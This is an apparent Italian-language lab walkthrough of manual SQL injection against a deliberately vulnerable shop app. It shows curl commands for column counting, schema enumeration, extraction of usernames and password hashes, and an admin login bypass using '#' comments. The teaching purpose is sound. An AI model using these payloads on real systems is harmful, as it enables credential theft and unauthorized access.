// 1 ZERO-DAY · 1 CVE · 1 EXPLOIT NELLE ULTIME 24H

Primo Sangue: Enumerazione e Sfruttamento Manuale di ShopBox

D'accordo. Hai letto i pattern di payload. Sai com'è una tautologia sulla carta—' OR '1'='1 e i suoi parenti. Ma conoscere le forme e sentire effettivamente un database rispondere alle tue pressioni sono due cose completamente diverse. Questa pagina è dove ci sporchiamo le mani con ShopBox, l'app retail deliberatamente rotta in esecuzione su 192.0.2.10 nel nostro laboratorio. Ti guiderò attraverso il mio processo effettivo, compresi gli errori, perché è ciò che affronterai quando gli strumenti automatici non funzionano o—più comunemente—quando hai bisogno di capire perché hanno funzionato.

Il backend qui è MariaDB (compatibile MySQL) su 192.0.2.20. Colpiremo prima la ricerca prodotto; è una superficie di iniezione classica perché è costruita per restituire set di risultati variabili, il che rende viable l'estrazione basata su UNION.


Trovare l'Ago: Messaggi di Errore e Differenziali di Risposta

Inizio sempre con la sonda più semplice possibile. La casella di ricerca nella pagina principale di ShopBox invia una POST a /search.php con un singolo parametro: q. Lancio prima una richiesta normale per stabilire il comportamento di base.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes" -i -w "\n"

Il -i include gli header di risposta; -w "\n" aggiunge una newline in modo che il terminale rimanga leggibile. La risposta torna con un 200, un po' di HTML, e una griglia di schede prodotto. Niente di speciale.

Ora inietto un singolo apice per rompere la sintassi della stringa SQL. Questa è la sonda più basilare che esista—non sto ancora cercando di estrarre nulla, sto solo ascoltando come l'applicazione si lamenta.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'" -i -w "\n"

La risposta cambia. Invece dei risultati prodotto, ottengo un'area contenuto vuota e un generico messaggio "Search error" nell'HTML. Nessun testo di errore SQL visibile. Questo è comune nelle app di produzione—gli sviluppatori catturano le eccezioni e mostrano messaggi amichevoli. Ma il differenziale mi dice qualcosa: l'apice ha cambiato il comportamento della query. L'applicazione non ha restituito risultati, e non ha restituito la stessa struttura di errore che una query genuina "nessun risultato" avrebbe.

Testo il caso null per confermare:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoeszzzzz" -i -w "\n"

"shoeszzzzz" restituisce "No products found" con un 200 e una struttura HTML diversa. Quindi: ricerca valida → risultati, termine inesistente → esplicito "No products found", apice singolo → generico "Search error". Questo è il mio differenziale. L'apice sta facendo qualcosa che l'applicazione non gestisce con eleganza.

Provo una tautologia dopo, dai pattern che abbiamo coperto prima:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes' OR '1'='1" -i -w "\n"

Ancora "Search error." Lo spazio o la struttura potrebbero essere filtrati, o la query potrebbe usare quoting diverso. Provo la terminazione con commento per isolare il mio payload:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'-- " -i -w "\n"

Stesso errore. Ma aspetta—codifica URL. La sintassi del commento -- ha bisogno di quello spazio finale, e alcuni framework eliminano gli spazi. Provo il commento con hash, codificato in URL:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'%23" -i -w "\n"

%23 è il # codificato in URL. E ora—risultati. La pagina si carica con tutti i prodotti, non solo scarpe. Il # ha terminato l'apice finale della query originale, e il database ha trattato tutto dopo come un commento. Questo è il mio punto di iniezione confermato.

⚠️ Solo uso autorizzato e difensivo.


Conteggio Colonne: ORDER BY e la Strada Lunga

Prima di poter usare UNION per estrarre dati, devo sapere quante colonne restituisce la SELECT originale. UNION richiede che il conteggio delle colonne corrisponda tra la query originale e quella da me iniettata. Ci sono due approcci standard, e uso entrambi per verifica.

Primo, ORDER BY. Questa tecnica funziona perché puoi fare riferimento alle colonne del risultato per la loro posizione indice—ORDER BY 1 ordina per la prima colonna, ORDER BY 2 per la seconda, e così via. Quando superi il conteggio effettivo delle colonne, il database lancia un errore.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+ORDER+BY+1%23" -i -w "\n"

I risultati si caricano bene. Incremento:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+ORDER+BY+2%23" -i -w "\n"

Ancora buono. Continuo. A ORDER BY 5, ottengo di nuovo il generico "Search error". Quindi ci sono quattro colonne nella SELECT originale. Ma faccio un doppio controllo con l'enumerazione UNION SELECT NULL perché ORDER BY può essere inaffidabile se la query usa GROUP BY o subquery che influenzano la visibilità delle colonne.

L'enumerazione NULL funziona appendendo un UNION SELECT con valori NULL crescenti finché la query non ha successo. NULL è agnostico rispetto al tipo in SQL, quindi corrisponde a qualsiasi tipo di colonna.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL%23" -i -w "\n"

Errore. Un NULL non corrisponde a quattro colonne. Ne aggiungo un altro:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,NULL%23" -i -w "\n"

Ancora errore. Tre:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,NULL,NULL%23" -i -w "\n"

Errore. Quattro:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,NULL,NULL,NULL%23" -i -w "\n"

I risultati si caricano. La pagina ora mostra i prodotti scarpe originali più quattro slot prodotto vuoti—NULL renderizzati come voci vuote nella griglia HTML. Quattro colonne confermate con due metodi indipendenti. Verifico sempre in questo modo; ho visto ORDER BY dare conteggi falsi quando la struttura della query è più complessa di quanto appare.

Perché questo è importante: UNION è rigido riguardo al conteggio delle colonne e al tipo. Un singolo mismatch e l'intera query fallisce. NULL bypassa il controllo del tipo, ed è per questo che lo usiamo per l'enumerazione anche se non lo useremmo mai per l'estrazione effettiva dei dati.


Mappare il Database: INFORMATION_SCHEMA

Ora conosco la struttura. La query originale restituisce quattro colonne, e devo capire quali di esse appaiono effettivamente nell'output renderizzato—perché solo quelle mi permettono di esfiltrare dati visibilmente. Testo sostituendo NULL con stringhe identificabili:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+1,2,3,4%23" -i -w "\n"

La risposta include "2" e "3" visibili nelle posizioni delle schede prodotto—campo titolo e descrizione, apparentemente. Le colonne 1 e 4 non si renderizzano visibilmente; potrebbero essere URL immagine o ID usati internamente. Quindi i miei target di estrazione dati sono le posizioni 2 e 3.

È ora di tirare fuori i metadati dello schema. INFORMATION_SCHEMA di MariaDB (un database read-only che descrive tutti i database e gli oggetti sul server) contiene le tabelle TABLES e COLUMNS. Voglio prima i nomi delle tabelle.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,TABLE_NAME,NULL,4+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()%23" -i -w "\n"

DATABASE() restituisce il nome del database corrente. La risposta ora elenca nomi di tabella nel campo titolo prodotto: products, users, orders, sessions. La tabella users è quella che voglio dopo.

Tiro fuori i nomi delle colonne per users usando INFORMATION_SCHEMA.COLUMNS. Il filtro TABLE_SCHEMA è importante—senza di esso, otterresti colonne da tutti i database, inclusi quelli di sistema.

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,COLUMN_NAME,NULL,4+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+AND+TABLE_SCHEMA=DATABASE()%23" -i -w "\n"

L'output mostra: id, username, password_hash, email, created_at. Struttura classica. Nota che INFORMATION_SCHEMA.COLUMNS ha un campo EXTRA che fornisce informazioni aggiuntive sulla colonna, e da MariaDB 13.0 in poi c'è un campo CREATE_OPTIONS per opzioni aggiuntive della tabella—anche se per i nostri scopi, i nomi delle colonne sono sufficienti.

In termini semplici: Stiamo chiedendo al database di descrivere se stesso. Ogni database moderno ha un catalogo del genere. Se puoi iniettare SQL, puoi solitamente leggere il catalogo, e quello ti dice esattamente dove risiedono i dati sensibili.


Estrazione delle Credenziali e il Pivot sull'Autenticazione

Con lo schema mappato, estraggo dati utente effettivi. Metto username nella posizione 2 e password_hash nella posizione 3:

curl -X POST http://192.0.2.10/search.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "q=shoes'+UNION+SELECT+NULL,username,password_hash,4+FROM+users+LIMIT+1%23" -i -w "\n"

La risposta mostra admin e un hash che inizia con $2y$10$—quello è bcrypt, un hash password moderno. Itero con LIMIT 1 OFFSET N per tirare fuori più righe. Ecco cosa recupero (output illustrativo—verifica sul tuo target):

# output illustrativo — verifica sul tuo target
admin:$2y$10$abcdefghijklmnopqrstuv...
jdoe:$2y$10$wxyzABCDEFGHIJKLMNO...
service:$2y$10$1234567890abcdef...

Tre account. L'account service è interessante—spesso questi hanno password deboli o di default, o sono usati in modi che bypassano i controlli normali.

Ma qui è dove l'SQL injection pivot su qualcosa di più diretto del cracking offline degli hash. Il form di login su /login.php è vulnerabile anche lui—ricorda, questa è un'app di training con molteplici superfici. Invece di estrarre hash, posso usare l'iniezione di ricerca per capire la struttura della query di login, poi attaccarla direttamente.

Sondo il login con un test di apice simile:

curl -X POST http://192.0.2.10/login.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=test'&password=anything" -i -w "\n"

"Invalid credentials"—ma il tempo di risposta e la struttura differiscono da un login fallito genuino. Affino. L'obiettivo è una query che valuta a true indipendentemente dalla password. Basandomi sui pattern delle pagine precedenti, costruisco:

curl -X POST http://192.0.2.10/login.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=admin'-- &password=irrelevant" -i -w "\n"

Aspetta—gestione degli spazi di nuovo. Il commento deve terminare propriamente. Provo:

curl -X POST http://192.0.2.10/login.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=admin'%23&password=irrelevant" -i -w "\n"

Redirect a /dashboard.php. Cookie di sessione impostato. Sono dentro come admin senza conoscere la password.

Cosa è successo? La query di login probabilmente assomiglia a qualcosa come SELECT * FROM users WHERE username='$user' AND password_hash='$hash'. La mia iniezione la trasforma in ... WHERE username='admin'#' AND password_hash='irrelevant'. Il # commenta fuori interamente il controllo della password. La query restituisce la riga admin, l'autenticazione ha successo.

⚠️ Solo uso autorizzato e difensivo.


Cosa Faccio Effettivamente in Burp Suite

Tutti quei comandi curl? Li eseguo prima per riproducibilità e documentazione. Ma per l'esplorazione effettiva, sono in Burp Suite Repeater. Intercetto la richiesta iniziale da Firefox, la invio a Repeater (Ctrl+R), e modifico i parametri lì. Il click destro su un parametro mi permette di inviare a Intruder per fuzzing automatizzato con wordlist—la "Fuzzing - SQL wordlist" integrata di Burp è disponibile nel menu a tendina "Add from list" dell'edizione Professional, anche se spesso costruisco le mie dalle pattern che abbiamo stabilito.

La scheda Repeater mostra la lunghezza della risposta e le differenze di render in tempo reale. Quando colpisco il conteggio NULL corretto, la lunghezza della risposta salta—quattro NULL producono una risposta più lunga di tre, anche se entrambe restituiscono 200, perché la struttura HTML include div prodotto vuoti. Quel differenziale di lunghezza è spesso più veloce della lettura di ogni corpo di risposta.

Per la pratica di detection—che costruiremo nelle pagine successive—noto che nessuna di queste richieste ha triggerato alert ovvi nei log di accesso Apache di base. Gli errori SQL sono stati ingoiati dall'applicazione. Per catturare questo, devi guardare più in profondità: log di errore del database su 192.0.2.20, instrumentazione a livello applicativo, o analisi del traffico di rete. Il pivot dall'iniezione di ricerca al bypass dell'autenticazione ha usato due endpoint diversi con lo stesso pattern di vulnerabilità sottostante. Un attaccante non ha bisogno di crackare i tuoi hash bcrypt se può semplicemente aggirare l'autenticazione del tutto.


Checklist: Passaggi di Enumerazione Manuale

Passaggio Tecnica Indicatore di Successo
1 Sonda con apice singolo Differenziale di risposta (errore vs. "nessun risultato")
2 Terminazione con commento (-- o #) Punto di iniezione confermato
3 Enumerazione ORDER BY Errore a N+1 colonne
4 Enumerazione UNION SELECT NULL Query ha successo al conteggio colonne corrispondente
5 Sonda con stringhe (1,2,3,4...) Identifica colonne di output visibili
6 INFORMATION_SCHEMA.TABLES Elenco tabelle del database
7 INFORMATION_SCHEMA.COLUMNS Nomi colonne per tabella target
8 Estrazione dati via UNION Contenuto effettivo della riga nella risposta
9 Inferenza query di autenticazione Sondaggio struttura form di login
10 Bypass dell'autenticazione Login riuscito senza credenziali valide

Cosa Ho Sbagliato Così Tu Non Devi

Inizialmente ho assunto che la query di ricerca usasse virgolette doppie perché alcuni tutorial PHP le mostrano. Dieci minuti sprecati su sonde " prima di tornare agli apici singoli. Ho anche provato ORDER BY 10 immediatamente una volta, ho ottenuto un errore, e ho assunto che il conteggio fosse più basso di quanto fosse—in realtà, la query stava fallendo per una ragione diversa, e avevo bisogno dell'enumerazione NULL per confermare. La lezione: verifica sempre con due tecniche indipendenti.

L'estrazione dell'hash dell'account service sembrava promettente per il cracking offline, ma bcrypt a fattore di costo 10 avrebbe richiesto giorni sul mio laptop. Il bypass dell'autenticazione era più veloce e più affidabile. Gli attaccanti seguono il percorso di minore resistenza; i difensori devono chiudere tutti i percorsi, non solo quelli ovvi.

Nelle prossime pagine, automatizzeremo questa scoperta con sqlmap e costruiremo detection attorno a ciò che abbiamo imparato qui. Ma l'automazione senza capire questo processo manuale è pericolosa—ti perderai varianti che gli strumenti non coprono, e non riconoscerai i falsi negativi quando contano.

Letture consigliate